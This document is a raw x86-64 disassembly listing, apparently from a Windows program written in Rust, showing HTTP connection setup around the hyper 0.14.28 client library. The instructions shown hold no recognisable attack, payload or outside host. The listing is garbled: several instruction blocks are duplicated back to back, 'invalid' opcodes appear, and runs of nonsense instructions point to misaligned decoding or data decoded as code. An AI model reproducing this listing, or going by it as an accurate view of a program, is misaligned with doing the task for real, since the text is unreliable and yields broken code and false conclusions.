add byte [rbx + 0x1b02484], cl
add byte [rax], al
mov dword [rsi + 0x9a], eax
movzx eax, word [rsp + 0x1b4]
mov word [rsi + 0x9e], ax
mov qword [rsi + 0xa0], rbx
mov rax, qword [rsp + 0x38]
mov qword [rsi + 0xa8], rax
mov rax, qword [rsp + 0x50]
mov qword [rsi + 0xb0], rax
movzx eax, byte [rsp + 0x48]
mov byte [rsi + 0xb8], al
mov byte [rsi + 0xb8], al
mov eax, dword [rsp + 0x1e0]
mov ecx, dword [rsp + 0x1e3]
and al, 0xe3
add dword [rax], eax
add byte [rcx + 0xb986], cl
add byte [rcx + 0xbc8e], cl
add byte [rax - 0x75], cl
test byte [rax + rdx*8], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
xchg al, dh
add byte [rax], al
invalid
and al, 0xe3
add dword [rax], eax
add byte [rcx + 0xb986], cl
add byte [rcx + 0xbc8e], cl
add byte [rax - 0x75], cl
test byte [rax + rdx*8], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
xchg al, dh
add byte [rax], al
add byte [rsi + 0xf], ah
movdqa xmm0, xmmword [rsp + 0x3a0]
movdqa xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
movdqa xmm0, xmmword [rsp + 0x3a0]
movdqa xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
movups xmmword [rsi + 0xe0], xmm2
movdqu xmmword [rsi + 0xd0], xmm1
movdqu xmmword [rsi + 0xc0], xmm0
add bl, dh
movq qword [rsi + 0xf8], mm1
add bl, dh
movq qword [rsi + 0xf8], mm1
mov qword [rsi + 0x108], r12
mov byte [rsi + 0x110], r14b
mov byte [rsi + 0x111], 0
mov bl, 4
mov rcx, qword [rsp + 0x40]
movabs r14, 0x8000000000000000
lea r15, [0x140177af0]
lea rdi, [rsp + 0x150]
mov esp, 0x15024
add cl, ch
loope 0x1400748f7
invalid
mov esp, 0x15024
add cl, ch
loope 0x1400748f7
invalid
dec dword [rax - 0x7d]
stc
add dword [rdi], ecx
test dword [rcx + 0x3f], ebx
add byte [rax], al
invalid
cmp rcx, 1
jne 0x14007885c
invalid
add byte [rdi], cl
mov dh, 0x72
js 0x140074948
movzx esi, byte [rdx + 0x78]
jb 0x14007497f
cmp sil, 4
cmp dh, 4
jne case.default.0x140074933
mov rax, qword [rsp + 0xa0]
mov r12, qword [rax]
add byte [rax], al
add byte [rbx + rcx*4 + 0x20], cl
movzx eax, byte [r12 + 0x111]
add byte [rax - 0x73], cl
or eax, 0x1031b0
lea rcx, [0x140177adc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [r12 + 0x98]
mov qword [rsp + 0x30a0], rax
movups xmm0, xmmword [r12 + 0x88]
add byte [rax], al
and al, 0x98
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
xor byte [rax], al
add byte [rcx + 0xf], al
adc byte [rsp + 0x88], al
add byte [rax], al
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x3090], xmm0
add byte [rax], al
movaps xmmword [rsp + 0x3090], xmm0
mov rax, qword [r12 + 0x68]
test rax, rax
je 0x140074b8b
mov rcx, qword [r12 + 0x70]
lock inc qword [rax]
jg 0x140074b8b
jmp 0x140078731
add byte [rax], al
lea rcx, [rsp + 0x3118]
call fcn.140071d30
mov rax, qword [rsp + 0x3150]
test rax, rax
test eax, eax
add al, ch
stosd dword [rdi], eax
sar edi, cl
dec dword [rax - 0x75]
test byte [rax + rdx*2], ah
xor dword [rax], eax
add byte [rax - 0x7b], cl
test eax, eax
je 0x1400749a5
lock dec qword [rax]
test eax, eax
je 0x1400749a5
lock dec qword [rax]
jne 0x1400749a5
lea rcx, [rsp + 0x3150]
call fcn.140066500
mov rax, qword [rsp + 0x30f8]
test rax, rax
je 0x1400749cd
add byte [rax - 0x7b], cl
sal byte [rbx + rbx - 0x10], 0x48
dec dword [rax]
lock dec qword [rax]
jne 0x1400749cd
mov rcx, qword [rsp + 0x30f8]
mov rdx, qword [rsp + 0x3100]
add byte [rcx], dh
add byte [rax], al
add byte [rcx], dh
add byte [rax], al
call fcn.140005050
mov rax, qword [rsp + 0x3158]
test rax, rax
test eax, eax
test eax, eax
je 0x1400749f5
lock dec qword [rax]
jne 0x1400749f5
mov rcx, qword [rsp + 0x3158]
add byte [rax], al
mov rdx, qword [rsp + 0x3160]
call fcn.140005050
mov sil, 2
mov dh, 2
mov rdx, qword [rsp + 0x40]
jmp 0x14007862f
jmp 0x14007862f
mov byte [rdx + 0x78], 3
cmp sil, 3
je 0x140078940
xor byte [rdi], bh
add byte [rax], al
xor byte [rdi], bh
add byte [rax], al
mov r12, qword [rdx + 8]
mov rcx, qword [rsp + 0xe0]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x390], rax
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
adc byte [rcx + 0x10], cl
adc byte [rcx + 0x10], cl
movaps xmmword [rsp + 0x380], xmm1
movaps xmmword [rsp + 0x370], xmm0
movups xmm6, xmmword [rdx + 0x38]
movzx edi, byte [rdx + 0x48]
mov eax, dword [rdx + 0x4c]
mov dword [rsp + 0x11b], eax
mov eax, dword [rdx + 0x49]
mov dword [rsp + 0x118], eax
mov r14, qword [rdx + 0x50]
mov esi, dword [rdx + 0x50]
mov esi, dword [rdx + 0x50]
movups xmm7, xmmword [rdx + 0x58]
movzx ebx, byte [rdx + 0x68]
push 0x6ab60f44
imul ecx, dword [rdi], 0x666e42b7
mov dword [rsp + 0xcc], eax
push 0x6ab60f44
imul ecx, dword [rdi], 0x666e42b7
mov dword [rsp + 0xcc], eax
add byte [rax], al
mov eax, dword [rdx + 0x6a]
mov dword [rsp + 0xc8], eax
mov rbp, qword [rdx + 0x70]
mov rcx, qword [rsp + 0xe8]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x1d8], eax
fadd dword [rcx]
add byte [rax], al
fadd dword [rcx]
add byte [rax], al
mov dword [rsp + 0x1db], ecx
jmp 0x14007862f
and al, 0xdb
add dword [rax], eax
add cl, ch
mov dword [rbx], edi
add byte [rax], al
lea rdi, [r12 + 0x148]
add byte [rax], al
movzx eax, byte [r12 + 0x148]
lea rbx, [r12 + 0x118]
test eax, eax
je 0x140077ce1
cmp eax, 3
je 0x140077cfb
sub esi, dword [rdx]
add byte [rax], al
sub esi, dword [rdx]
add byte [rax], al
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140108880
lea rbp, [r12 + 0x438]
movzx eax, byte [r12 + 0x438]
lea r13, [r12 + 0x118]
test eax, eax
je 0x140074ce7
mov qword [rsp + 0x48], r13
cmp eax, 3
jne 0x140078a4b
lea r11, [r12 + 0x430]
movzx eax, byte [r12 + 0x430]
lea r13, [r12 + 0x1d0]
test eax, eax
je 0x140074f87
cmp eax, 3
jne 0x140078b84
lea rbx, [r12 + 0x368]
movzx eax, byte [r12 + 0x368]
test eax, eax
mov qword [rsp + 0x38], r11
je 0x14007520a
cmp eax, 3
jne 0x140078c30
lea rsi, [r12 + 0x360]
movzx eax, byte [r12 + 0x360]
test eax, eax
je 0x140076d7f
cmp eax, 3
jne 0x140078cad
mov r9, qword [r12 + 0x358]
jmp 0x140075293
movzx edx, word [r12 + 0x64]
mov r8d, dword [r12 + 0x60]
mov r9d, dword [r12 + 0x48]
mov r10, qword [r12 + 0x40]
mov r11, qword [r12 + 0x30]
mov esi, dword [r12 + 0x38]
movups xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
mov rdi, qword [r12 + 0x50]
movzx ebx, word [r12 + 0x80]
mov r14, qword [rsp + 0x30a0]
mov qword [rsp + 0x1166], r14
movaps xmm3, xmmword [rsp + 0x3090]
movups xmmword [rsp + 0x1156], xmm3
movups xmm3, xmmword [rsp + 0x1150]
movaps xmmword [rsp + 0x4c0], xmm3
mov r14, qword [rsp + 0x115e]
mov qword [rsp + 0x4ce], r14
mov r14, qword [rsp + 0x1166]
mov qword [rsp + 0x4d6], r14
lea r13, [r12 + 0x118]
movups xmmword [r12 + 0x118], xmm0
movdqu xmmword [r12 + 0x128], xmm1
movups xmmword [r12 + 0x138], xmm2
mov qword [r12 + 0x148], r11
mov dword [r12 + 0x150], esi
mov qword [r12 + 0x158], r10
mov dword [r12 + 0x160], r9d
mov qword [r12 + 0x168], rdi
mov r9, qword [r12 + 0x58]
mov r10, qword [r12 + 0x78]
mov qword [r12 + 0x170], r9
mov dword [r12 + 0x178], r8d
mov word [r12 + 0x17c], dx
mov qword [r12 + 0x180], rax
mov qword [r12 + 0x188], rcx
mov qword [r12 + 0x190], r10
mov word [r12 + 0x198], bx
movups xmm0, xmmword [rsp + 0x4ce]
movups xmmword [r12 + 0x1a8], xmm0
movaps xmm0, xmmword [rsp + 0x4c0]
movups xmmword [r12 + 0x19a], xmm0
lea rbp, [r12 + 0x438]
mov byte [r12 + 0x438], 0
movabs r14, 0x8000000000000000
movzx eax, byte [0x140182310]
mov edx, 0x2320
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078973
mov rbx, rax
pxor xmm6, xmm6
movdqu xmmword [rax + 0x2310], xmm6
movdqu xmmword [rax + 0x2300], xmm6
movzx eax, byte [0x140182310]
mov edx, 0x280
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078982
mov rsi, rax
and rsi, 0xffffffffffffff80
mov qword [rsi + 0x78], rax
mov qword [rsi + 0x80], 1
mov qword [rsi + 0x88], 1
mov qword [rsi + 0x100], rbx
mov qword [rsi + 0x108], 0
mov qword [rsi + 0x180], 0
mov qword [rsi + 0x190], 0
movdqa xmmword [rsi + 0x200], xmm6
movdqa xmmword [rsi + 0x210], xmm6
mov qword [rsi + 0x220], rbx
mov qword [rsi + 0x228], rbx
mov qword [rsi + 0x230], 0
mov byte [rsi + 0x238], 0
mov qword [rsi + 0x240], 0
mov qword [rsi + 0x248], 1
lock inc qword [rsi + 0x80]
jle 0x140078731
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078958
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov byte [rax + 0x28], 0
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
lock inc qword [rax]
jle 0x140078731
sub rsi, 0xffffffffffffff80
mov qword [r12 + 0x1b8], rbx
mov qword [r12 + 0x1c0], rsi
mov byte [r12 + 0x1c8], 0
cmp byte [r12 + 0x198], 0
mov qword [rsp + 0x48], r13
je 0x140074f24
mov rax, qword [r12 + 0x1b0]
mov qword [rsp + 0x1160], rax
movups xmm0, xmmword [r12 + 0x1a0]
movaps xmmword [rsp + 0x1150], xmm0
mov rcx, qword [r12 + 0x180]
mov rdx, qword [r12 + 0x188]
test rcx, rcx
je 0x140074e87
lock inc qword [rcx]
jle 0x140078731
lea rax, [r12 + 0x138]
mov r8, qword [rsp + 0x1160]
mov qword [rsp + 0x4f0], r8
movaps xmm0, xmmword [rsp + 0x1150]
movaps xmmword [rsp + 0x4e0], xmm0
lea r13, [r12 + 0x1d0]
mov qword [r12 + 0x1d0], rcx
mov qword [r12 + 0x1d8], rdx
mov qword [r12 + 0x370], rsi
mov qword [r12 + 0x378], rbx
mov qword [r12 + 0x410], rax
movaps xmm0, xmmword [rsp + 0x4e0]
movups xmmword [r12 + 0x418], xmm0
mov r8, qword [rsp + 0x4f0]
mov qword [r12 + 0x428], r8
lea r11, [r12 + 0x430]
mov byte [r12 + 0x430], 0
movq xmm1, rbx
movq xmm0, rsi
punpcklqdq xmm0, xmm1
jmp 0x140074fa9
mov r15, rbp
mov rbp, qword [r12 + 0x1a0]
mov r14, qword [r12 + 0x1a8]
mov rdi, qword [r12 + 0x1b0]
mov rcx, rbp
call qword [r14 + 0x40]
mov r13d, eax
movzx eax, byte [0x140182310]
mov edx, 0x2000
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400789c1
movzx ecx, byte [r12 + 0x199]
test ecx, ecx
je 0x140075e07
cmp ecx, 2
je 0x140075e0a
mov r13b, 1
jmp 0x140075e0a
movdqu xmm0, xmmword [r12 + 0x370]
mov rax, qword [r12 + 0x410]
mov rcx, qword [r12 + 0x1d0]
mov rdx, qword [r12 + 0x1d8]
movdqu xmmword [r12 + 0x1e0], xmm0
mov qword [r12 + 0x380], rax
mov qword [r12 + 0x1f0], rcx
mov qword [r12 + 0x1f8], rdx
mov ecx, dword [rax + 0x40]
lea edx, [rcx - 0x4000]
cmp edx, 0xffc000
jae 0x140078991
mov r8, qword [rax + 0x30]
mov rdx, r8
shr rdx, 0x20
jne 0x1400789a9
lea rdx, [r12 + 0x418]
mov r10d, dword [rax + 0x38]
mov r9d, dword [rax + 0x3c]
cmp qword [rax], 0
je 0x14007500d
mov rax, qword [rax + 8]
jmp 0x140075012
mov eax, 0xa
mov qword [rsp + 0x38], r11
mov qword [r12 + 0x388], 1
mov qword [r12 + 0x390], 0x400
mov dword [r12 + 0x398], 1
mov dword [r12 + 0x39c], r10d
mov qword [r12 + 0x3a0], 0x1e
mov dword [r12 + 0x3a8], 0
mov qword [r12 + 0x3b0], 0xffffffffffffffff
mov qword [r12 + 0x3b8], r8
mov qword [r12 + 0x3c0], rax
mov qword [r12 + 0x3c8], 0x14
mov dword [r12 + 0x3d0], 0
mov qword [r12 + 0x3d8], 1
mov dword [r12 + 0x3e0], 0
mov dword [r12 + 0x3e8], 1
mov dword [r12 + 0x3ec], r9d
mov dword [r12 + 0x3f0], 1
mov dword [r12 + 0x3f4], ecx
mov dword [r12 + 0x3f8], 0
mov dword [r12 + 0x400], 0
mov byte [r12 + 0x408], 0
mov dword [r12 + 0x40c], 1
mov qword [r12 + 0x200], 1
mov qword [r12 + 0x208], 0x400
mov dword [r12 + 0x210], 1
mov dword [r12 + 0x214], r10d
mov qword [r12 + 0x218], 0x1e
mov dword [r12 + 0x220], 0
mov qword [r12 + 0x228], 0xffffffffffffffff
mov qword [r12 + 0x230], r8
mov qword [r12 + 0x238], rax
mov qword [r12 + 0x240], 0x14
mov dword [r12 + 0x248], 0
mov qword [r12 + 0x250], 1
mov dword [r12 + 0x258], 0
mov dword [r12 + 0x260], 1
mov dword [r12 + 0x264], r9d
mov dword [r12 + 0x268], 1
mov dword [r12 + 0x26c], ecx
mov dword [r12 + 0x270], 0
mov dword [r12 + 0x278], 0
mov byte [r12 + 0x280], 0
mov dword [r12 + 0x284], 1
mov rax, qword [rdx + 0x10]
mov qword [r12 + 0x298], rax
movups xmm0, xmmword [rdx]
movups xmmword [r12 + 0x288], xmm0
lea rbx, [r12 + 0x368]
mov byte [r12 + 0x368], 0
lea rdx, [r12 + 0x200]
lea rdi, [r12 + 0x2a0]
mov rax, qword [r12 + 0x298]
mov qword [r12 + 0x2b0], rax
movdqu xmm0, xmmword [r12 + 0x288]
movdqu xmmword [r12 + 0x2a0], xmm0
lea rcx, [r12 + 0x2b8]
mov r8d, 0x88
call fcn.140106250
mov qword [r12 + 0x340], rdi
lea rsi, [r12 + 0x360]
mov byte [r12 + 0x360], 0
mov qword [r12 + 0x348], rdi
lea rax, [0x14013e82b]
mov qword [r12 + 0x350], rax
mov qword [r12 + 0x358], 0x18
mov r9d, 0x18
movabs r15, 0x1700000003
mov qword [rsp + 0x60], rbp
nop word cs:[rax + rax]
test r9, r9
je 0x1400753fd
mov rax, qword [r12 + 0x348]
mov r8, qword [r12 + 0x350]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
mov rdx, qword [rsp + 0x228]
call qword [rax + 0x20]
cmp rax, 2
je 0x140075331
test rax, rax
jne 0x14007533c
mov rax, qword [r12 + 0x350]
mov r9, qword [r12 + 0x358]
mov qword [r12 + 0x350], 1
mov qword [r12 + 0x358], 0
sub r9, rdx
jb 0x1400788f3
add rax, rdx
mov qword [r12 + 0x350], rax
mov qword [r12 + 0x358], r9
test rdx, rdx
jne 0x1400752b0
jmp 0x140075348
mov byte [rsi], 3
mov byte [rbx], 3
jmp 0x14007602c
mov r15, rdx
test rdx, rdx
je 0x1400753fd
mov byte [r12 + 0x360], 1
mov eax, dword [rsp + 0x2a0]
mov ecx, dword [rsp + 0x2a3]
mov dword [rsp + 0x12b], ecx
mov dword [rsp + 0x128], eax
movups xmm0, xmmword [rsp + 0x20f0]
movaps xmmword [rsp + 0x560], xmm0
mov rax, qword [rsp + 0x2100]
mov qword [rsp + 0x570], rax
mov ecx, dword [rsp + 0x128]
mov edx, dword [rsp + 0x12b]
mov dword [rsp + 0x130], ecx
mov dword [rsp + 0x133], edx
movaps xmmword [rsp + 0x320], xmm0
mov qword [rsp + 0x330], rax
mov rsi, qword [r12 + 0x2a0]
mov rdi, qword [r12 + 0x2a8]
mov rcx, rsi
call qword [rdi]
mov eax, 2
mov qword [rsp + 0x50], rax
cmp qword [rdi + 8], 0
mov qword [rsp + 0x68], r15
je 0x140075dfd
cmp qword [rdi + 0x10], 0x11
jae 0x140075f7d
mov byte [rsp + 0x34], 4
jmp 0x140075f86
mov qword [rsp + 0x78], rbx
mov byte [r12 + 0x360], 1
mov eax, dword [rsp + 0x2a0]
mov ecx, dword [rsp + 0x2a3]
mov dword [rsp + 0x12b], ecx
mov dword [rsp + 0x128], eax
movups xmm0, xmmword [rsp + 0x20f0]
movaps xmmword [rsp + 0x560], xmm0
mov rax, qword [rsp + 0x2100]
mov qword [rsp + 0x570], rax
mov rsi, qword [r12 + 0x2a0]
mov rdi, qword [r12 + 0x2a8]
mov r14, qword [r12 + 0x2b0]
mov rcx, rsi
call qword [rdi + 0x40]
mov r15d, eax
movzx eax, byte [0x140182310]
mov edx, 0x4000
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400789dc
mov rbx, rax
test r15b, r15b
mov eax, 0x100
mov r15d, 0x400
cmovne r15, rax
mov qword [rsp + 0x1198], 2
mov qword [rsp + 0x11b0], 0
mov qword [rsp + 0x11b8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x11c0], xmm0
mov qword [rsp + 0x11d0], 8
movups xmmword [rsp + 0x11d8], xmm0
movups xmmword [rsp + 0x11e8], xmm0
mov qword [rsp + 0x11f8], 0
mov qword [rsp + 0x1200], 0x1000
mov qword [rsp + 0x1150], 1
mov qword [rsp + 0x1158], 0
mov qword [rsp + 0x1168], 3
mov qword [rsp + 0x1170], 0
mov qword [rsp + 0x1178], 9
mov byte [rsp + 0x1180], 1
movzx eax, byte [0x140182310]
mov edx, 0x2000
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400789c1
mov word [rsp + 0x1310], 0
mov qword [rsp + 0x12f0], rax
mov qword [rsp + 0x12f8], 0
mov qword [rsp + 0x1300], 0x2000
mov qword [rsp + 0x1308], 0x11
mov byte [rsp + 0x1312], 0
movzx eax, byte [0x140182310]
mov edx, 0x1000
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400789eb
lea rcx, [r15 + 9]
mov qword [rsp + 0x1318], 0
mov qword [rsp + 0x1378], 0x1000
mov qword [rsp + 0x1328], 0
mov qword [rsp + 0x1330], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x1338], xmm0
mov qword [rsp + 0x1348], 0
mov qword [rsp + 0x1350], 0x1000
mov qword [rsp + 0x1358], rax
mov qword [rsp + 0x1360], 0
mov qword [rsp + 0x1368], 0x1000
mov qword [rsp + 0x1370], 0xd
mov qword [rsp + 0x1160], 0x4000
mov qword [rsp + 0x1188], 0
mov qword [rsp + 0x1208], 3
mov qword [rsp + 0x1250], 4
mov qword [rsp + 0x1298], rbx
mov qword [rsp + 0x12a0], 0
mov qword [rsp + 0x12a8], 0x4000
mov qword [rsp + 0x12b0], 0x15
mov qword [rsp + 0x12b8], 0
mov qword [rsp + 0x12c0], r15
mov qword [rsp + 0x12c8], rcx
mov dword [rsp + 0x12d0], 0x4000
mov qword [rsp + 0x12d8], rsi
mov qword [rsp + 0x12e0], rdi
mov qword [rsp + 0x12e8], r14
mov qword [rsp + 0x1380], 2
mov qword [rsp + 0x14c8], 0x1000000
mov eax, dword [r12 + 0x320]
mov edx, dword [r12 + 0x324]
test eax, eax
je 0x14007571c
lea rcx, [rdx - 0x4000]
cmp rcx, 0xffc000
jae 0x140078b18
mov qword [rsp + 0x1160], rdx
lea rcx, [rsp + 0x1198]
mov r8d, dword [r12 + 0x328]
mov r9d, dword [r12 + 0x32c]
test r8d, r8d
je 0x140075741
mov qword [rsp + 0x14c8], r9
mov qword [rsp + 0x58], r13
movzx r10d, byte [r12 + 0x338]
movups xmm0, xmmword [r12 + 0x300]
movdqu xmm1, xmmword [r12 + 0x310]
mov r11, qword [r12 + 0x330]
movups xmmword [rsp + 0x20f4], xmm0
movdqu xmmword [rsp + 0x2104], xmm1
mov dword [rsp + 0x2114], eax
mov dword [rsp + 0x2118], edx
mov dword [rsp + 0x211c], r8d
mov dword [rsp + 0x2120], r9d
mov qword [rsp + 0x2124], r11
mov byte [rsp + 0x212c], r10b
mov byte [rsp + 0x20f0], 4
lea rdx, [rsp + 0x20f0]
call fcn.140079480
cmp al, 0xc
jne 0x1400789fa
lea rax, [rsp + 0x1168]
mov rcx, qword [rsp + 0x1150]
mov qword [rsp + 0x50], rcx
movzx ecx, byte [rsp + 0x1158]
mov byte [rsp + 0x34], cl
mov ecx, dword [rsp + 0x1159]
mov dword [rsp + 0x208], ecx
mov ecx, dword [rsp + 0x115c]
mov dword [rsp + 0x20b], ecx
mov rcx, qword [rsp + 0x1160]
mov qword [rsp + 0x68], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x2a0], xmm0
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x2b0], rax
lea rdx, [rsp + 0x1180]
lea rcx, [rsp + 0x20f0]
mov r8d, 0x350
call fcn.140106250
mov eax, dword [r12 + 0x33c]
mov dword [rsp + 0x90], eax
mov rax, qword [r12 + 0x2e0]
mov qword [rsp + 0xb0], rax
mov rax, qword [r12 + 0x2e8]
mov qword [rsp + 0x88], rax
mov rax, qword [r12 + 0x2d0]
mov qword [rsp + 0x98], rax
mov eax, dword [r12 + 0x308]
mov dword [rsp + 0xe8], eax
test eax, eax
sete bl
mov eax, dword [r12 + 0x30c]
mov ecx, dword [r12 + 0x318]
mov dword [rsp + 0x1d0], ecx
test ecx, ecx
mov ecx, dword [r12 + 0x31c]
mov edx, dword [r12 + 0x330]
mov ebp, 0xffff
mov dword [rsp + 0x148], ecx
cmovne ebp, ecx
mov ecx, dword [r12 + 0x334]
mov dword [rsp + 0xe0], eax
test eax, eax
setne r14b
mov dword [rsp + 0x140], edx
test edx, edx
setne sil
mov dword [rsp + 0x1c8], ecx
test ecx, ecx
setne dil
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
mov eax, dword [r12 + 0x2d8]
mov dword [rsp + 0xa8], eax
mov r13, qword [r12 + 0x2f0]
movdqu xmm7, xmmword [r12 + 0x2b8]
mov rax, qword [r12 + 0x2f8]
mov qword [rsp + 0xa0], rax
movzx eax, byte [r12 + 0x338]
mov dword [rsp + 0x218], eax
mov eax, dword [r12 + 0x310]
mov dword [rsp + 0x80], eax
mov eax, dword [r12 + 0x314]
mov qword [rsp + 0x70], rax
mov eax, dword [r12 + 0x320]
mov dword [rsp + 0x1c0], eax
mov eax, dword [r12 + 0x324]
mov dword [rsp + 0x1b8], eax
mov eax, dword [r12 + 0x328]
mov dword [rsp + 0x234], eax
mov eax, dword [r12 + 0x32c]
mov dword [rsp + 0x230], eax
mov rax, qword [r12 + 0x300]
mov qword [rsp + 0xd8], rax
jne 0x1400759c7
call fcn.140002270
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm6, xmmword [rax + 0xa8]
inc qword [rax + 0xa8]
movzx eax, byte [0x140182310]
mov edx, 0x240
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078a2d
mov r15, rax
or bl, r14b
and sil, dil
xor eax, eax
cmp dword [rsp + 0x80], 1
sbb rax, rax
or rax, qword [rsp + 0x70]
mov qword [r15], 1
mov qword [r15 + 8], 1
mov word [r15 + 0x10], 0
movdqu xmmword [r15 + 0x18], xmm7
mov rcx, qword [rsp + 0xb0]
mov qword [r15 + 0x28], rcx
mov qword [r15 + 0x30], 0
mov qword [r15 + 0x38], rax
mov qword [r15 + 0x40], 0
mov qword [r15 + 0x48], r13
mov qword [r15 + 0x50], 0
mov rax, qword [rsp + 0xa0]
mov qword [r15 + 0x58], rax
mov qword [r15 + 0x78], 0
pxor xmm7, xmm7
movdqu xmmword [r15 + 0x60], xmm7
mov byte [r15 + 0x70], 0
mov qword [r15 + 0x80], 8
movdqu xmmword [r15 + 0x88], xmm7
movdqu xmmword [r15 + 0x94], xmm7
mov qword [r15 + 0xa4], 2
mov rax, qword [rsp + 0x98]
mov qword [r15 + 0xb0], rax
mov eax, dword [rsp + 0xa8]
mov dword [r15 + 0xb8], eax
movabs rax, 0xffff0000ffff
mov qword [r15 + 0xc0], rax
mov dword [r15 + 0xc8], 0
mov dword [r15 + 0xdc], 0
mov dword [r15 + 0xf0], 0
mov dword [r15 + 0x104], ebp
mov qword [r15 + 0x108], 0
mov dword [r15 + 0x110], 0x7fffffff
mov byte [r15 + 0x114], bl
mov byte [r15 + 0x115], sil
mov dword [r15 + 0x118], 0
mov ecx, dword [rsp + 0x90]
mov dword [r15 + 0x11c], ecx
mov qword [r15 + 0x120], rax
mov rax, qword [rsp + 0x88]
mov qword [r15 + 0x128], rax
mov dword [r15 + 0x130], 0
mov dword [r15 + 0x144], 0
mov dword [r15 + 0x158], 0
mov dword [r15 + 0x16c], 0
mov dword [r15 + 0x178], 0
movabs rax, 0xffff7fffffff
mov qword [r15 + 0x180], rax
mov word [r15 + 0x188], 1
mov byte [r15 + 0x190], 3
mov qword [r15 + 0x1b8], 0
mov qword [r15 + 0x1c8], 0
mov qword [r15 + 0x1d0], 8
movdqu xmmword [r15 + 0x1e8], xmm7
movdqu xmmword [r15 + 0x1d8], xmm7
mov qword [r15 + 0x1f8], 8
mov qword [r15 + 0x200], 0
movups xmm0, xmmword [0x14014bb60]
movups xmmword [r15 + 0x208], xmm0
movups xmm0, xmmword [0x14014bb70]
movups xmmword [r15 + 0x218], xmm0
movdqu xmmword [r15 + 0x228], xmm6
mov qword [r15 + 0x238], 1
movzx eax, byte [0x140182310]
mov edx, 0x40
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078a3c
mov rdi, rax
mov rsi, r15
add rsi, 0x10
mov qword [rax], 1
mov qword [rax + 8], 1
mov word [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov qword [rax + 0x20], 8
movdqu xmmword [rax + 0x28], xmm7
mov qword [rax + 0x38], 0
mov eax, dword [rsp + 0x208]
mov ecx, dword [rsp + 0x20b]
mov dword [rsp + 0x203], ecx
mov dword [rsp + 0x200], eax
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0x580], xmm0
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x590], rax
lea rcx, [rsp + 0x740]
lea rdx, [rsp + 0x20f0]
mov r8d, 0x350
call fcn.140106250
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
movabs r14, 0x8000000000000000
mov r13, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x78]
jne 0x140078328
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140078343
movzx eax, byte [r15 + 0x11]
test al, al
jne 0x140078a57
inc qword [r15 + 0x238]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140078369
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x140075d52
mov byte [rsp + 0x34], 4
jmp 0x140075f98
xor r13d, r13d
cmp qword [r12 + 0x118], 0
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xa0], rbp
je 0x140075e32
mov rdx, qword [r12 + 0x120]
mov r8b, 1
jmp 0x140075e3a
mov edx, 0x2000
xor r8d, r8d
movzx ebp, byte [r12 + 0x195]
mov edi, dword [r12 + 0x191]
movzx ecx, byte [r12 + 0x190]
mov qword [rsp + 0x70], rcx
movzx ecx, byte [r12 + 0x196]
mov qword [rsp + 0x68], rcx
movzx ecx, byte [r12 + 0x197]
mov qword [rsp + 0x58], rcx
cmp qword [r12 + 0x128], 0
mov dword [rsp + 0x50], r13d
mov qword [rsp + 0xe0], rax
je 0x140075ec1
mov rcx, qword [r12 + 0x130]
cmp rcx, 0x1fff
jbe 0x140078a94
mov qword [rsp + 0x140], rcx
mov eax, 0x2000
mov qword [rsp + 0x148], rax
mov dword [rsp + 0x34], 0
jmp 0x140075edb
mov dword [rsp + 0x34], r8d
mov qword [rsp + 0x148], rdx
mov eax, 0x66000
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x60], r15
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
mov r13, qword [rsp + 0x48]
je 0x1400788d5
shl rbp, 0x20
or rbp, rdi
mov qword [rsp + 0x1c8], rax
mov qword [rax], 0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x6e0], xmm0
movaps xmmword [rsp + 0x6d0], xmm0
movaps xmmword [rsp + 0x6c0], xmm0
mov eax, 0x2000
